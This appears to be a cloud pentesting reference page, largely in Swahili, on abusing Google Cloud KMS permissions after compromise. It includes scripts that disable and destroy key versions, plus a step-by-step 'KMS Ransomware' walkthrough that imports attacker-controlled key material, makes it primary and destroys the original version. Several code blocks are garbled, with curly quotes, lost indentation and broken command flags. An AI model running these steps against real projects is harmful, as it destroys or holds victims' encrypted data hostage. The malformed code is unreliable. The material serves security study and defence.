GCP - KMS Post Exploitation

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KMS

Pata taarifa za msingi kuhusu KMS katika:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

Mshambuliaji mwenye ruhusa hii anaweza kuharibu toleo la KMS. Ili kufanya hivyo kwanza unahitaji kuzima ufunguo kisha kuuharibu:

Lemaza na uharibu toleo la ufunguo (Python) ```python # pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Disables a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to disable the key version.

client.update_crypto_key_version(request={‘crypto_key_version’: {‘name’: key_version_name, ‘state’: kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Destroys a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to destroy the key version.

client.destroy_crypto_key_version(request={‘name’: key_version_name})

Example usage

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ # Version number to disable and destroy

Disable the key version

disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

Destroy the key version

destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

</details>

### KMS Ransomware

Katika AWS inawezekana kabisa **steal a KMS key** kwa kubadilisha KMS resource policy na kuruhusu akaunti ya mshambuliaji tu kutumia key. Kwa kuwa sera za rasilimali hizi hazipo kwenye GCP, hili haliwezekani.

Hata hivyo, kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo ingehusisha hatua zifuatazo:

- Unda toleo jipya la **version of the key with a key material** ambalo limeingizwa na mshambuliaji
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • Weka kama toleo chaguo-msingi (kwa data zijazo zitakazofichwa)
  • Fichia tena data za zamani zilizofichwa kwa toleo la awali kwa kutumia toleo jipya.
  • Futa KMS key
  • Sasa ni mshambuliaji pekee, ambaye anamiliki nyenzo za awali za ufunguo, atakayekuwa na uwezo wa kufungua data iliyofichwa

Cloud Storage + CMEK mfumo wa ruhusa

Wakati vitu katika Cloud Storage vinapofichwa kwa CMEK, miito ya decrypt/encrypt kwa KMS hufanywa na wakala wa huduma wa Cloud Storage wa mradi (barua pepe ni service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com)), sio moja kwa moja na mtumiaji wa mwisho anayesoma kitu hicho.

Hii ina maana kwamba ili kusoma kitu kilichofichwa kwa CMEK:

  • Wakala wa huduma wa Cloud Storage wa mradi lazima awe na ruhusa za KMS juu ya ufunguo wa KMS unaotumika (kwa kawaida roles/cloudkms.cryptoKeyEncrypterDecrypter).
  • Mtumiaji anahitaji tu ruhusa za kusoma object (kwa mfano storage.objects.get). Hapana haja ya ruhusa juu ya ufunguo wa KMS.

Hii ina maana kwamba ili kudhibiti upatikanaji wa data iliyofichwa kwa kutumia ufunguo wa KMS, ni lazima kuongeza/kuondoa ruhusa za KMS kwa wakala wa huduma wa Cloud Storage wa mradi.

Kumbuka kuwa kufunga binding ya ngazi ya mradi kama roles/cloudkms.cryptoKeyEncrypterDecrypter kwa wakala wa Storage bado itaruhusu decrypt kwa kutumia funguo katika mradi huo huo.

Hapa kuna hatua za kuingiza toleo jipya na kuzima/kufuta data za zamani:

Ingiza toleo jipya la ufunguo na futa toleo la zamani ```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.enc

Decrypt it

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Create an Import Job

gcloud kms import-jobs create my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–import-method “rsa-oaep-3072-sha1-aes-256”
–protection-level “software”

Generate key material

openssl rand -out my-key-material.bin 32

Import the Key Material (it’s encrypted with an asymetrict key of the import job previous to be sent)

gcloud kms keys versions import
–import-job my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–algorithm “google-symmetric-encryption”
–target-key-file my-key-material.bin

Get versions

gcloud kms keys versions list
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key

Make new version primary

gcloud kms keys update
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–primary-version 2

Try to decrypt again (error)

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Disable initial version

gcloud kms keys versions disable
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key 1

Destroy the old version

gcloud kms keys versions destroy
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–version 1

</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>Fichia data kwa kutumia ufunguo wa simetriki (Python)</summary>
```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

Saini ujumbe kwa kutumia asymmetric key (Python) ```python import hashlib from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): “”“ Sign a message using an asymmetric key version from Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Convert the message to bytes and calculate the digest.

message_bytes = message.encode(‘utf-8’) digest = {‘sha256’: hashlib.sha256(message_bytes).digest()}

Call the API to sign the digest.

sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature

Example usage for signing

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ message = ‘your-message’

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(‘Signature:’, signature)

</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>Thibitisha saini kwa kutumia ufunguo wa asimetri (Python)</summary>
```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)

cloudkms.cryptoKeyVersions.restore

Ruhusa cloudkms.cryptoKeyVersions.restore inaruhusu kitambulisho kurejesha toleo la ufunguo ambalo awali lilikuwa limepangwa kuharibiwa au limezimwa katika Cloud KMS, likirejeshwa katika hali hai na inayoweza kutumika.

gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

cloudkms.cryptoKeyVersions.update

Ruhusa cloudkms.cryptoKeyVersions.update inamruhusu mtambulisho kubadilisha sifa au hali ya toleo maalum la ufunguo katika Cloud KMS, kwa mfano kuamilisha au kuzima.

# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

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